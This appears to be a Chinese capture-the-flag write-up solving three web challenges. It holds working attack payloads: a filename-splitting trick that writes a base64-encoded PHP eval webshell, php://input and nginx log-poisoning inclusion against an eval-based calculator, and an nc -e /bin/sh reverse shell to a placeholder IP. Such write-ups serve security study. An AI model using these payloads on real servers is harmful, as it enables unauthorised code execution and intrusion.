签到
只能执行较短命令,不能回显,这个时候考虑到写入内容
涉及到重定向符
n > file 将文件描述符为 n 的文件重定向到 file。
这里的话我们可以用ls命令查看根目录,然后把他定向到一个自定义文件中
ls />a
此时我们去访问api/a
发现在根目录下,我们直接用flag的话又因为字符串长度过长而无法执行,这里的话我们直接用*,用nl命令来读
nl /*>b
方法二
参考文章
https://blog.csdn.net/nzjdsds/article/details/102873187
原理 就是按照顺序利用 >xx 写文件名 (重定向符写入, 文件内容为空), 然后利用 ls -t 按时间顺序列表, 最后写进一个文件里利用 sh 执行
因为 Linux 的特性, \ 表示命令输入没有结束, 会在下一行继续输入, 而 Linux 的文件名比较自由, 因此我们可以逐步将一个命令分散到多个文件之中, 然后配合上述方法执行
原语句
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
//<?php eval($_GET[1]);
构造payload
>hp
>1.ph\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
接下来就可以RCE了
http://xxx/api/1.php?1=system('cat /flag');
calc
<?php
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
可以使用伪协议
num1=1&symbol=-&num2=include"php://input"&a=<?php system('ls /');?>
查看flag
num1=1&symbol=-&num2=include"php://input"&a=<?php system('nl /secret');?>
也可以用日志包含的方式
num1=include "/var/log/nginx/access.log"&symbol=-&num2=1
UA:<?php system('cat /secret');?>
cmd
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
exec(escapeshellcmd($cmd));
}
?>
使用nc命令反弹shell即可
nc xxx.xxx.xxx.xxx 端口 -e /bin/sh